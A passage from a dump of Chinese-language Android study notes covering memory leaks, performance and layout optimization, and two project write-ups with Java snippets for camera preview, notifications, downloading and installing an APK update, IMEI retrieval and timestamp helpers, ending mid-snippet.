分配的底层是通过 JNI 调用的 )。 而这个 recyle() 就是针对 C 部分的内存释放。\n        构造 Adapter 时，没有使用缓存的 convertView ,每次都在创建新的 converView。这里推荐使用 ViewHolder。\n\n## 总结\n\n对 Activity 等组件的引用应该控制在 Activity 的生命周期之内； 如果不能就考虑使用 getApplicationContext 或者 getApplication，以避免 Activity 被外部长生命周期的对象引用而泄露。\n\n尽量不要在静态变量或者静态内部类中使用非静态外部成员变量（包括context )，即使要使用，也要考虑适时把外部成员变量置空；也可以在内部类中使用弱引用来引用外部类的变量。\n\n对于生命周期比Activity长的内部类对象，并且内部类中使用了外部类的成员变量，可以这样做避免内存泄漏：\n\n        将内部类改为静态内部类\n        静态内部类中使用弱引用来引用外部类的成员变量\n\nHandler 的持有的引用对象最好使用弱引用，资源释放时也可以清空 Handler 里面的消息。比如在 Activity onStop 或者 onDestroy 的时候，取消掉该 Handler 对象的 Message和 Runnable.\n\n在 Java 的实现过程中，也要考虑其对象释放，最好的方法是在不使用某对象时，显式地将此对象赋值为 null，比如使用完Bitmap 后先调用 recycle()，再赋为null,清空对图片等资源有直接引用或者间接引用的数组（使用 array.clear() ; array = null）等，最好遵循谁创建谁释放的原则。\n\n正确关闭资源，对于使用了BraodcastReceiver，ContentObserver，File，游标 Cursor，Stream，Bitmap等资源的使用，应该在Activity销毁时及时关闭或者注销。\n\n保持对对象生命周期的敏感，特别注意单例、静态对象、全局性集合等的生命周期。\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/Android性能优化.md",
    "content": "# Android性能优化\n\n## 合理管理内存\n\n### 节制的使用Service\n\n如果应用程序需要使用Service来执行后台任务的话，只有当任务正在执行的时候才应该让Service运行起来。当启动一个Service时，系统会倾向于将这个Service所依赖的进程进行保留，系统可以在LRUcache当中缓存的进程数量也会减少，导致切换程序的时候耗费更多性能。我们可以使用IntentService，当后台任务执行结束后会自动停止，避免了Service的内存泄漏。\n\n### 当界面不可见时释放内存\n\n当用户打开了另外一个程序，我们的程序界面已经不可见的时候，我们应当将所有和界面相关的资源进行释放。重写Activity的onTrimMemory()方法，然后在这个方法中监听TRIM_MEMORY_UI_HIDDEN这个级别，一旦触发说明用户离开了程序，此时就可以进行资源释放操作了。\n\n### 当内存紧张时释放内存\n\nonTrimMemory()方法还有很多种其他类型的回调，可以在手机内存降低的时候及时通知我们，我们应该根据回调中传入的级别来去决定如何释放应用程序的资源。\n\n### 避免在Bitmap上浪费内存\n读取一个Bitmap图片的时候，千万不要去加载不需要的分辨率。可以压缩图片等操作。\n\n### 是有优化过的数据集合\nAndroid提供了一系列优化过后的数据集合工具类，如SparseArray、SparseBooleanArray、LongSparseArray，使用这些API可以让我们的程序更加高效。HashMap工具类会相对比较低效，因为它需要为每一个键值对都提供一个对象入口，而SparseArray就避免掉了基本数据类型转换成对象数据类型的时间。\n\n### 知晓内存的开支情况\n\n* 使用枚举通常会比使用静态常量消耗两倍以上的内存，尽可能不使用枚举\n* 任何一个Java类，包括匿名类、内部类，都要占用大概500字节的内存空间\n* 任何一个类的实例要消耗12-16字节的内存开支，因此频繁创建实例也是会在一定程序上影响内存的\n* 使用HashMap时，即使你只设置了一个基本数据类型的键，比如说int，但是也会按照对象的大小来分配内存，大概是32字节，而不是4字节，因此最好使用优化后的数据集合\n\n### 谨慎使用抽象编程\n\n在Android使用抽象编程会带来额外的内存开支，因为抽象的编程方法需要编写额外的代码，虽然这些代码根本执行不到，但是也要映射到内存中，不仅占用了更多的内存，在执行效率上也会有所降低。所以需要合理的使用抽象编程。\n\n### 尽量避免使用依赖注入框架\n\n使用依赖注入框架貌似看上去把findViewById()这一类的繁琐操作去掉了，但是这些框架为了要搜寻代码中的注解，通常都需要经历较长的初始化过程，并且将一些你用不到的对象也一并加载到内存中。这些用不到的对象会一直站用着内存空间，可能很久之后才会得到释放，所以可能多敲几行代码是更好的选择。\n\n### 使用多个进程\n\n谨慎使用，多数应用程序不该在多个进程中运行的，一旦使用不当，它甚至会增加额外的内存而不是帮我们节省内存。这个技巧比较适用于哪些需要在后台去完成一项独立的任务，和前台是完全可以区分开的场景。比如音乐播放，关闭软件，已经完全由Service来控制音乐播放了，系统仍然会将许多UI方面的内存进行保留。在这种场景下就非常适合使用两个进程，一个用于UI展示，另一个用于在后台持续的播放音乐。关于实现多进程，只需要在Manifast文件的应用程序组件声明一个android:process属性就可以了。进程名可以自定义，但是之前要加个冒号，表示该进程是一个当前应用程序的私有进程。\n\n## 分析内存的使用情况\n\n系统不可能将所有的内存都分配给我们的应用程序，每个程序都会有可使用的内存上限，被称为堆大小。不同的手机堆大小不同，如下代码可以获得堆大小：\n\n```\nActivityManager manager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);\nint heapSize = manager.getMemoryClass();\n```\n结果以MB为单位进行返回，我们开发时应用程序的内存不能超过这个限制，否则会出现OOM。\n\n### Android的GC操作\n\nAndroid系统会在适当的时机触发GC操作，一旦进行GC操作，就会将一些不再使用的对象进行回收。GC操作会从一个叫做Roots的对象开始检查，所有它可以访问到的对象就说明还在使用当中，应该进行保留，而其他的对系那个就表示已经不再被使用了。\n\n### Android中内存泄漏\nAndroid中的垃圾回收机制并不能防止内存泄漏的出现导致内存泄漏最主要的原因就是某些长存对象持有了一些其它应该被回收的对象的引用，导致垃圾回收器无法去回收掉这些对象，也就是出现内存泄漏了。比如说像Activity这样的系统组件，它又会包含很多的控件甚至是图片，如果它无法被垃圾回收器回收掉的话，那就算是比较严重的内存泄漏情况了。\n举个例子，在MainActivity中定义一个内部类，实例化内部类对象，在内部类新建一个线程执行死循环，会导致内部类资源无法释放，MainActivity的控件和资源无法释放，导致OOM,可借助一系列工具，比如LeakCanary。\n\n## 高性能编码优化\n\n都是一些微优化，在性能方面看不出有什么显著的提升的。使用合适的算法和数据结构是优化程序性能的最主要手段。\n\n### 避免创建不必要的对象\n不必要的对象我们应该避免创建：\n\n* 如果有需要拼接的字符串，那么可以优先考虑使用StringBuffer或者StringBuilder来进行拼接，而不是加号连接符，因为使用加号连接符会创建多余的对象，拼接的字符串越长，加号连接符的性能越低。\n* 在没有特殊原因的情况下，尽量使用基本数据类型来代替封装数据类型，int比Integer要更加有效，其它数据类型也是一样。\n* 当一个方法的返回值是String的时候，通常需要去判断一下这个String的作用是什么，如果明确知道调用方会将返回的String再进行拼接操作的话，可以考虑返回一个StringBuffer对象来代替，因为这样可以将一个对象的引用进行返回，而返回String的话就是创建了一个短生命周期的临时对象。\n* 基本数据类型的数组也要优于对象数据类型的数组。另外两个平行的数组要比一个封装好的对象数组更加高效，举个例子，Foo[]和Bar[]这样的数组，使用起来要比Custom(Foo,Bar)[]这样的一个数组高效的多。\n\n尽可能地少创建临时对象，越少的对象意味着越少的GC操作。\n\n### 静态优于抽象\n如果你并不需要访问一个对系那个中的某些字段，只是想调用它的某些方法来去完成一项通用的功能，那么可以将这个方法设置成静态方法，调用速度提升15%-20%，同时也不用为了调用这个方法去专门创建对象了，也不用担心调用这个方法后是否会改变对象的状态(静态方法无法访问非静态字段)。\n\n### 对常量使用static final修饰符\n```\nstatic int intVal = 42;  \nstatic String strVal = \"Hello, world!\";  \n```\n编译器会为上面的代码生成一个初始方法，称为<clinit>方法，该方法会在定义类第一次被使用的时候调用。这个方法会将42的值赋值到intVal当中，从字符串常量表中提取一个引用赋值到strVal上。当赋值完成后，我们就可以通过字段搜寻的方式去访问具体的值了。\n\nfinal进行优化:\n\n```\nstatic final int intVal = 42;  \nstatic final String strVal = \"Hello, world!\";  \n```\n\n这样，定义类就不需要<clinit>方法了，因为所有的常量都会在dex文件的初始化器当中进行初始化。当我们调用intVal时可以直接指向42的值，而调用strVal会用一种相对轻量级的字符串常量方式，而不是字段搜寻的方式。\n\n这种优化方式只对基本数据类型以及String类型的常量有效，对于其他数据类型的常量是无效的。\n\n### 使用增强型for循环语法\n\n```\nstatic class Counter {  \n    int mCount;  \n}  \n  \nCounter[] mArray = ...  \n  \npublic void zero() {  \n    int sum = 0;  \n    for (int i = 0; i < mArray.length; ++i) {  \n        sum += mArray[i].mCount;  \n    }  \n}  \n  \npublic void one() {  \n    int sum = 0;  \n    Counter[] localArray = mArray;  \n    int len = localArray.length;  \n    for (int i = 0; i < len; ++i) {  \n        sum += localArray[i].mCount;  \n    }  \n}  \n  \npublic void two() {  \n    int sum = 0;  \n    for (Counter a : mArray) {  \n        sum += a.mCount;  \n    }  \n}  \n```\n\nzero()最慢，每次都要计算mArray的长度，one()相对快得多，two()fangfa在没有JIT(Just In Time Compiler)的设备上是运行最快的，而在有JIT的设备上运行效率和one()方法不相上下，需要注意这种写法需要JDK1.5之后才支持。\n\nTips:ArrayList手写的循环比增强型for循环更快，其他的集合没有这种情况。因此默认情况下使用增强型for循环，而遍历ArrayList使用传统的循环方式。\n\n### 多使用系统封装好的API\n\n系统提供不了的Api完成不了我们需要的功能才应该自己去写，因为使用系统的Api很多时候比我们自己写的代码要快得多，它们的很多功能都是通过底层的汇编模式执行的。\n举个例子，实现数组拷贝的功能，使用循环的方式来对数组中的每一个元素一一进行赋值当然可行，但是直接使用系统中提供的System.arraycopy()方法会让执行效率快9倍以上。\n\n### 避免在内部调用Getters/Setters方法\n\n面向对象中封装的思想是不要把类内部的字段暴露给外部，而是提供特定的方法来允许外部操作相应类的内部字段。但在Android中，字段搜寻比方法调用效率高得多，我们直接访问某个字段可能要比通过getters方法来去访问这个字段快3到7倍。但是编写代码还是要按照面向对象思维的，我们应该在能优化的地方进行优化，比如避免在内部调用getters/setters方法。\n\n## 布局优化技巧\n---\n### 重用布局文件\n**<include>**\n\n<include>标签可以允许在一个布局当中引入另一个布局，那么比如说我们程序的所有界面都有一个公共的部分，这个时候最好的做法就是将这个公共的部分提取到一个独立的布局中，然后每个界面的布局文件当中来引用这个公共的布局。\n\nTips:如果我们要在<include>标签中覆写layout属性，必须要将layout_width和layout_height这两个属性也进行覆写，否则覆写xiaoguo将不会生效。\n\n**<merge>**\n\n<merge>标签是作为<include>标签的一种辅助扩展来使用的，它的主要作用是为了防止在引用布局文件时引用文件时产生多余的布局嵌套。布局嵌套越多，解析起来就越耗时，性能就越差。因此编写布局文件时应该让嵌套的层数越少越好。\n\n举例：比如在LinearLayout里边使用一个<include>布局。<include>里边又有一个LinearLayout，那么其实就存在了多余的布局嵌套，使用merge可以解决这个问题。\n\n### 仅在需要时才加载布局\n\n某个布局当中的元素不是一起显示出来的，普通情况下只显示部分常用的元素，而那些不常用的元素只有在用户进行特定操作时才会显示出来。\n\n举例：填信息时不是需要全部填的，有一个添加更多字段的选项，当用户需要添加其他信息的时候，才将另外的元素显示到界面上。用VISIBLE性能表现一般，可以用ViewStub。ViewStub也是View的一种，但是没有大小，没有绘制功能，也不参与布局，资源消耗非常低，可以认为完全不影响性能。\n\n```\n<ViewStub   \n        android:id=\"@+id/view_stub\"  \n        android:layout=\"@layout/profile_extra\"  \n        android:layout_width=\"match_parent\"  \n        android:layout_height=\"wrap_content\"  \n        />  \n```\n\n```\npublic void onMoreClick() {  \n    ViewStub viewStub = (ViewStub) findViewById(R.id.view_stub);  \n    if (viewStub != null) {  \n        View inflatedView = viewStub.inflate();  \n        editExtra1 = (EditText) inflatedView.findViewById(R.id.edit_extra1);  \n        editExtra2 = (EditText) inflatedView.findViewById(R.id.edit_extra2);  \n        editExtra3 = (EditText) inflatedView.findViewById(R.id.edit_extra3);  \n    }  \n}  \n```\n\ntips：ViewStub所加载的布局是不可以使用<merge>标签的，因此这有可能导致加载出来出来的布局存在着多余的嵌套结构。\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/Android项目总结.md",
    "content": "# 项目总结\n\n最近在公司做了一个非常轻量级别的app，不过里面还是有一些知识点，是查了资料之后才会的，现在app基本做完了，整体总结一下。\n\n\n1.获取当前app的一些基础信息：\n\n```\npublic static final boolean DEBUG = BuildConfig.DEBUG;\n\n//以下是能获取到的信息\npublic static final boolean DEBUG = Boolean.parseBoolean(\"true\");\npublic static final String APPLICATION_ID = \"com.fuyizhulao.daily_service\";\npublic static final String BUILD_TYPE = \"debug\";\npublic static final String FLAVOR = \"\";\npublic static final int VERSION_CODE = 1;\npublic static final String VERSION_NAME = \"1.0.0\";\n\n```\n\n2.高德地图(具体用法见官网吧，文档很详细了)\n\n3.个推(一个推送服务，很好用，同时它的别名机制也很人性化，省着后台再维护一套映射了)\n\n4.Bugly(腾讯的一款崩溃统计，异常上报的SDK，非常好配置，非常的好用)\n\n5.配置回调类的时候，可以配制成泛型的，非常的方便、灵活\n\n```\npublic interface NetWorkListener<T> {\n\n    void onSuccess(T netWorkModel);\n\n    void onFail(T netWorkModel);\n\n}\n```\n\n6.在Fragment中想和Activity通信，可以通过EventBus进行通信，但是也不要过分依赖这个吧，因为当过分依赖之后，整个代码的逻辑会变得异常的复杂，同时发生异常之后，也是非常不好检查的。\n\n7.在app中无论一个网络接口出现过几次，最好还是统一的封装起来会比较方便一点。\n\n8.将Model专程Json字符串可以用Gson：\n\n```\nnew Gson().toJson(new GetOrderList(\n                        Integer.valueOf(MyApplication.id)\n                        , state\n                        , pageNum\n                        , pageSize))\n```\n\n9.得到相机的View和控制闪光灯：\n\n```\npublic class CameraView extends SurfaceView implements SurfaceHolder.Callback, Camera.PreviewCallback {\n\n\n    private Camera mCamera;\n\n    private int mPreviewRotation = 90;\n    private int mCamId = Camera.CameraInfo.CAMERA_FACING_BACK;\n    private PreviewCallback mPrevCb;\n    private byte[] mYuvPreviewFrame;\n    private int previewWidth;\n    private int previewHeight;\n\n    private Camera.Parameters params;\n\n    public interface PreviewCallback {\n        void onGetYuvFrame(byte[] data);\n    }\n\n    public CameraView(Context context) {\n        this(context, null);\n    }\n\n    public CameraView(Context context, AttributeSet attrs) {\n        super(context, attrs);\n    }\n\n    public void setPreviewRotation(int rotation) {\n        mPreviewRotation = rotation;\n    }\n\n    public void setCameraId(int id) {\n        mCamId = id;\n    }\n\n    public int getCameraId() {\n        return mCamId;\n    }\n\n    public void setPreviewCallback(PreviewCallback cb) {\n        mPrevCb = cb;\n        getHolder().addCallback(this);\n    }\n\n    public void setPreviewResolution(int width, int height) {\n        previewWidth = width;\n        previewHeight = height;\n    }\n\n    public boolean startCamera() {\n        if (mCamera != null) {\n            return false;\n        }\n        if (mCamId > (Camera.getNumberOfCameras() - 1) || mCamId < 0) {\n            return false;\n        }\n\n        mCamera = Camera.open(mCamId);\n\n        params = mCamera.getParameters();\n        Camera.Size size = mCamera.new Size(previewWidth, previewHeight);\n\n        mYuvPreviewFrame = new byte[previewWidth * previewHeight * 3 / 2];\n\n        params.setPreviewSize(previewWidth, previewHeight);\n\n        params.setPreviewFormat(ImageFormat.NV21);\n\n        List<String> supportedFocusModes = params.getSupportedFocusModes();\n\n        if (!supportedFocusModes.isEmpty()) {\n            if (supportedFocusModes.contains(Camera.Parameters.FOCUS_MODE_CONTINUOUS_PICTURE)) {\n                params.setFocusMode(Camera.Parameters.FOCUS_MODE_CONTINUOUS_PICTURE);\n            }\n        }\n\n        mCamera.setParameters(params);\n\n        mCamera.setDisplayOrientation(mPreviewRotation);\n\n        mCamera.addCallbackBuffer(mYuvPreviewFrame);\n        mCamera.setPreviewCallbackWithBuffer(this);\n        try {\n            mCamera.setPreviewDisplay(getHolder());\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        mCamera.startPreview();\n\n        return true;\n    }\n\n    public void stopCamera() {\n        if (mCamera != null) {\n            mCamera.setPreviewCallback(null);\n            mCamera.stopPreview();\n            mCamera.release();\n            mCamera = null;\n        }\n    }\n\n    @Override\n    public void onPreviewFrame(byte[] data, Camera camera) {\n        mPrevCb.onGetYuvFrame(data);\n        camera.addCallbackBuffer(mYuvPreviewFrame);\n    }\n\n    @Override\n    public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {\n    }\n\n    @Override\n    public void surfaceCreated(SurfaceHolder arg0) {\n        if (mCamera != null) {\n            try {\n                mCamera.setPreviewDisplay(getHolder());\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\n    @Override\n    public void surfaceDestroyed(SurfaceHolder arg0) {\n    }\n\n    public void isOpenLight(boolean isOpen) {\n        if (isOpen) {\n            params.setFlashMode(Camera.Parameters.FLASH_MODE_TORCH);\n            mCamera.setParameters(params);\n        } else {\n            params.setFlashMode(Camera.Parameters.FLASH_MODE_OFF);\n            mCamera.setParameters(params);\n        }\n    }\n\n}\n```\n\n10.Notification\n\n```\nNotificationManager mNotificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);\nNotificationCompat.Builder mBuilder = new NotificationCompat.Builder(this);\nmBuilder.setContentTitle(title)//设置通知栏标题\n        .setContentIntent(getDefalutIntent(Notification.FLAG_AUTO_CANCEL)) //设置通知栏点击意图\n        .setNumber(number) //设置通知集合的数量\n        .setTicker(title) //通知首次出现在通知栏，带上升动画效果的\n        .setWhen(System.currentTimeMillis())//通知产生的时间，会在通知信息里显示，一般是系统获取到的时间\n        .setPriority(Notification.PRIORITY_DEFAULT) //设置该通知优先级\n        .setAutoCancel(true)//设置这个标志当用户单击面板就可以让通知将自动取消\n        .setOngoing(false)//ture，设置他为一个正在进行的通知。他们通常是用来表示一个后台任务,用户积极参与(如播放音乐)或以某种方式正在等待,因此占用设备(如一个文件下载,同步操作,主动网络连接)\n        .setDefaults(Notification.DEFAULT_VIBRATE)//向通知添加声音、闪灯和振动效果的最简单、最一致的方式是使用当前的用户默认设置，使用defaults属性，可以组合\n        //Notification.DEFAULT_ALL  Notification.DEFAULT_SOUND 添加声音 // requires VIBRATE permission\n        .setSmallIcon(R.mipmap.ic_launcher);//设置通知小ICON\nmNotificationManager.notify(1, mBuilder.build());\n```\n\n11.沉浸式状态栏\n\n这是一个第三方库，用起来挺方便的，有空应该撸一遍它的源码\n\n``compile 'com.readystatesoftware.systembartint:systembartint:1.0.3'``\n\n```\nif (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {\n//透明状态栏            getWindow().addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);\n//透明导航栏getWindow().addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_NAVIGATION);\nSystemBarTintManager tintManager = new SystemBarTintManager(this);\n// 激活状态栏\ntintManager.setStatusBarTintEnabled(true);\n// enable navigation bar tint 激活导航栏\n//tintManager.setNavigationBarTintEnabled(true);\n//设置系统栏设置颜色\n//tintManager.setTintColor(R.color.red);\n//给状态栏设置颜色\ntintManager.setStatusBarTintResource(R.color.normal_blue);\n//Apply the specified drawable or color resource to the system navigation bar.\n//给导航栏设置资源\n//tintManager.setNavigationBarTintResource(R.color.normal_blue);\n}\n```\n\n```\nandroid:fitsSystemWindows=\"true\"\nandroid:clipToPadding=\"true\"\n```\n\n12.利用反射动态调节tablayout的长度\n\n```\npublic void setIndicator(TabLayout tabs, int leftDip, int rightDip) {\n        Class<?> tabLayout = tabs.getClass();\n        Field tabStrip = null;\n        try {\n            tabStrip = tabLayout.getDeclaredField(\"mTabStrip\");\n        } catch (NoSuchFieldException e) {\n            e.printStackTrace();\n        }\n\n        tabStrip.setAccessible(true);\n        LinearLayout llTab = null;\n        try {\n            llTab = (LinearLayout) tabStrip.get(tabs);\n        } catch (IllegalAccessException e) {\n            e.printStackTrace();\n        }\n\n        int left = (int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, leftDip, Resources.getSystem().getDisplayMetrics());\n        int right = (int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, rightDip, Resources.getSystem().getDisplayMetrics());\n\n        for (int i = 0; i < llTab.getChildCount(); i++) {\n            View child = llTab.getChildAt(i);\n            child.setPadding(0, 0, 0, 0);\n            LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(0, LinearLayout.LayoutParams.MATCH_PARENT, 1);\n            params.leftMargin = left;\n            params.rightMargin = right;\n            child.setLayoutParams(params);\n            child.invalidate();\n        }\n\n    }\n\n```\n\n13.验证码倒计时\n\n```\nmTimeCount = new TimeCount(60000, 1000);\nmTimeCount.start();\n```\n\n```\nclass TimeCount extends CountDownTimer {\n        public TimeCount(long millisInFuture, long countDownInterval) {\n            super(millisInFuture, countDownInterval);\n        }\n\n        @Override\n        public void onFinish() {// 计时完毕\n            mGetCode.setText(\"获取验证码\");\n            mGetCode.setClickable(true);\n        }\n\n        @Override\n        public void onTick(long millisUntilFinished) {// 计时过程\n            mGetCode.setClickable(false);//防止重复点击\n            mGetCode.setText(String.valueOf(millisUntilFinished / 1000) + \"秒后重发\");\n        }\n    }\n```\n\n14.downloadManager工具类\n\n```\npublic class DownloadUtils {\n\n    private DownloadManager mDownloadManager;\n    private Context mContext;\n    private long downloadId;\n    private String apkName;\n\n    public DownloadUtils(Context context) {\n        mContext = context;\n    }\n\n    public void download(String url, String name) {\n        final String packageName = \"com.android.providers.downloads\";\n        int state = mContext.getPackageManager().getApplicationEnabledSetting(packageName);\n        //检测下载管理器是否被禁用\n        if (state == PackageManager.COMPONENT_ENABLED_STATE_DISABLED\n                || state == PackageManager.COMPONENT_ENABLED_STATE_DISABLED_USER\n                || state == PackageManager.COMPONENT_ENABLED_STATE_DISABLED_UNTIL_USED) {\n            AlertDialog.Builder builder = new AlertDialog.Builder(mContext).setTitle(\"温馨提示\").setMessage\n                    (\"系统下载管理器被禁止，需手动打开\").setPositiveButton(\"确定\", new DialogInterface.OnClickListener() {\n                @Override\n                public void onClick(DialogInterface dialog, int which) {\n                    dialog.dismiss();\n                    try {\n                        Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);\n                        intent.setData(Uri.parse(\"package:\" + packageName));\n                        mContext.startActivity(intent);\n                    } catch (ActivityNotFoundException e) {\n                        Intent intent = new Intent(Settings.ACTION_MANAGE_APPLICATIONS_SETTINGS);\n                        mContext.startActivity(intent);\n                    }\n                }\n            }).setNegativeButton(\"取消\", new DialogInterface.OnClickListener() {\n                @Override\n                public void onClick(DialogInterface dialog, int which) {\n                    dialog.dismiss();\n                }\n            });\n            builder.create().show();\n        } else {\n            //正常下载流程\n            apkName = name;\n            DownloadManager.Request request = new DownloadManager.Request(Uri.parse(url));\n            request.setAllowedOverRoaming(false);\n\n            //通知栏显示\n            request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_COMPLETED);\n            request.setTitle(\"test\");\n            request.setDescription(\"正在下载中...\");\n            request.setVisibleInDownloadsUi(true);\n\n            //设置下载的路径\n            request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, apkName);\n\n            //获取DownloadManager\n            mDownloadManager = (DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE);\n            downloadId = mDownloadManager.enqueue(request);\n\n            mContext.registerReceiver(mReceiver, new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE));\n        }\n    }\n\n    private BroadcastReceiver mReceiver = new BroadcastReceiver() {\n        @Override\n        public void onReceive(Context context, Intent intent) {\n            checkStatus();\n        }\n    };\n\n    /**\n     * 检查下载状态\n     */\n    private void checkStatus() {\n        DownloadManager.Query query = new DownloadManager.Query();\n        query.setFilterById(downloadId);\n        Cursor cursor = mDownloadManager.query(query);\n        if (cursor.moveToFirst()) {\n            int status = cursor.getInt(cursor.getColumnIndex(DownloadManager.COLUMN_STATUS));\n            switch (status) {\n                //下载暂停\n                case DownloadManager.STATUS_PAUSED:\n                    break;\n                //下载延迟\n                case DownloadManager.STATUS_PENDING:\n                    break;\n                //正在下载\n                case DownloadManager.STATUS_RUNNING:\n                    break;\n                //下载完成\n                case DownloadManager.STATUS_SUCCESSFUL:\n                    installAPK();\n                    break;\n                //下载失败\n                case DownloadManager.STATUS_FAILED:\n                    Toast.makeText(mContext, \"下载失败\", Toast.LENGTH_SHORT).show();\n                    break;\n            }\n        }\n        cursor.close();\n    }\n\n    /**\n     * 7.0兼容\n     */\n    private void installAPK() {\n        File apkFile =\n                new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), apkName);\n        Intent intent = new Intent(Intent.ACTION_VIEW);\n        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {\n            Uri apkUri = FileProvider.getUriForFile(mContext, mContext.getPackageName() + \".provider\", apkFile);\n            intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);\n            intent.setDataAndType(apkUri, \"application/vnd.android.package-archive\");\n        } else {\n            intent.setDataAndType(Uri.fromFile(apkFile), \"application/vnd.android.package-archive\");\n        }\n        mContext.startActivity(intent);\n    }\n}\n```\n\n15.还有一些简单的工具类：\n\n```\npublic class Util {\n\n    /**\n     * 将时间戳转换为时间\n     */\n    public static String stampToDate(String s) {\n        String res;\n        SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"yyyy-MM-dd HH:mm\");\n        long lt = new Long(s);\n        Date date = new Date(lt);\n        res = simpleDateFormat.format(date);\n        return res;\n    }\n\n    /**\n     * 这个工具类是为了展示出首页那种持续的效果\n     * 例如：12月21日 09:00 - 10:00\n     */\n    public static String stampAndDurationToDate(long serviceTime, long duration) {\n        SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM月dd日 HH:mm\");\n        Date date = new Date(serviceTime);\n        String myData = simpleDateFormat.format(date);\n        Date date2 = new Date(serviceTime + duration * 60 * 1000);\n        String myData2 = simpleDateFormat.format(date2);\n        return myData + \"-\" + myData2.split(\" \")[1];\n    }\n\n\n    /**\n     * 这个工具类是为了将时间戳转换成订单上面的时间\n     * 例如：2016-12-21 09:00-10:00\n     */\n    public static String stampAndDurationToDateForOrder(long serviceTime, long duration) {\n        String date1 = stampToDate(String.valueOf(serviceTime));\n        String date2 = stampToDate(String.valueOf(serviceTime + duration * 60 * 1000));\n        return date1 + \"-\" + date2.split(\" \")[1];\n    }\n\n\n\n\n\n    /**\n     * bitmap转file\n     */\n\n    public static File saveBitmapFile(Bitmap bitmap) {\n        File file = new File(Environment.getExternalStorageDirectory().getAbsolutePath()+\"/img.png\");//将要保存图片的路径\n        try {\n            BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file));\n            bitmap.compress(Bitmap.CompressFormat.PNG, 100, bos);\n            bos.flush();\n            bos.close();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        return file;\n    }\n\n}\n\n```\n\n16.cardView的点击效果\n\n``android:foreground=\"@drawable/card_view_select\"``\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<selector xmlns:android=\"http://schemas.android.com/apk/res/android\">\n\n    <item android:drawable=\"@color/normal_white\" android:state_pressed=\"false\"> </item>\n    <item android:drawable=\"@color/press_white\" android:state_pressed=\"true\"> </item>\n\n</selector>\n```\n\n    \n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/Android项目总结2.md",
    "content": "\n# Android项目总结\n\nAndroid项目总结，最近在公司里，写了几个Android的小项目，在学习过程中学习了一些新的东西，也学到了很多东西，所以打算记录一下。\n\n\n1. 涉及到多选和单选的时候，可以用checkbox和radiobutton，要是有必选项目的时候可以用&&符号来判断，确保用户都已经选择了。\n\n2. 想检测editext输入的情况的时候，可以用mEditext.addTextChangdListener();\n\n```\nerIdCode.addTextChangedListener(new TextWatcher() {\n            @Override\n            public void beforeTextChanged(CharSequence sequence, int i, int i1, int i2) {\n\n            }\n\n            @Override\n            public void onTextChanged(CharSequence sequence, int i, int i1, int i2) {\n\n            }\n\n            @Override\n            public void afterTextChanged(Editable editable) {\n            \n\n\t\t\t\t\t\t }\n} \n\n```\n用这个方法，可以监测到用户输入的过程，并且可以同时获取到用户的操作信息。\n\n3. 获取手机imei码\n\n```\n//需要的权限\n<uses-permissionandroid:name=\"Android.permission.READ_PHONE_STATE\" />\n\n//获取手机唯一标识符的代码\n\nTelephonyManager telephonyManager = (TelephonyManager) this.getApplicationContext().getSystemService(this.getApplicationContext().TELEPHONY_SERVICE);\nString imei = telephonyManager.getDeviceId();\n\n\n```\n\n4. 将时间戳转换为时间\n\n```\n\n\t\t/**\n     * 将时间戳转换为时间\n     */\n    public static String stampToDate(String s) {\n        String res;\n        SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"yyyy-MM-dd HH:mm\");\n        long lt = new Long(s);\n        Date date = new Date(lt);\n        res = simpleDateFormat.format(date);\n        return res;\n    }\n\n```\n\n\n5. 将时间转换为时间戳\n\n```\n\n/**\n     * 将时间转换成时间戳\n     */\n    public static String dateToStamp(String s) throws ParseException {\n        String res;\n        SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"yyyyMMdd\");\n        Date date = simpleDateFormat.parse(s);\n        long ts = date.getTime();\n        res = String.valueOf(ts);\n        return res;\n    }\n\n```\n\n\n6. 设置editext的提示文字的颜色和字体大小\n\n\n```\n\t\t\t\tharSequence hint = mCode.getHint();\n        SpannableString ss =  new SpannableString(hint);\n        AbsoluteSizeSpan ass = new AbsoluteSizeSpan(17, true);\n        mCode.setHintTextColor(0xffeeeeee);\n        ss.setSpan(ass, 0, ss.length(), Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);\n        mCode.setHint(new SpannedString(\"短信验证码\"));\n\n```\n\n7. 让Fragment拥有和Activity一样的onResume事件\n\n\n```\nprotected boolean isCreate = false;\n\n\t@Override\n    public void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        isCreate = true;\n    }\n\n\t\t@Override\n    public void setUserVisibleHint(boolean isVisibleToUser) {\n        super.setUserVisibleHint(isVisibleToUser);\n        if (isVisibleToUser && isCreate) {\n            initData(true, 1);\n            LinLog.lLog(\"====lin====>  onResume\");\n            //相当于Fragment的onResume\n            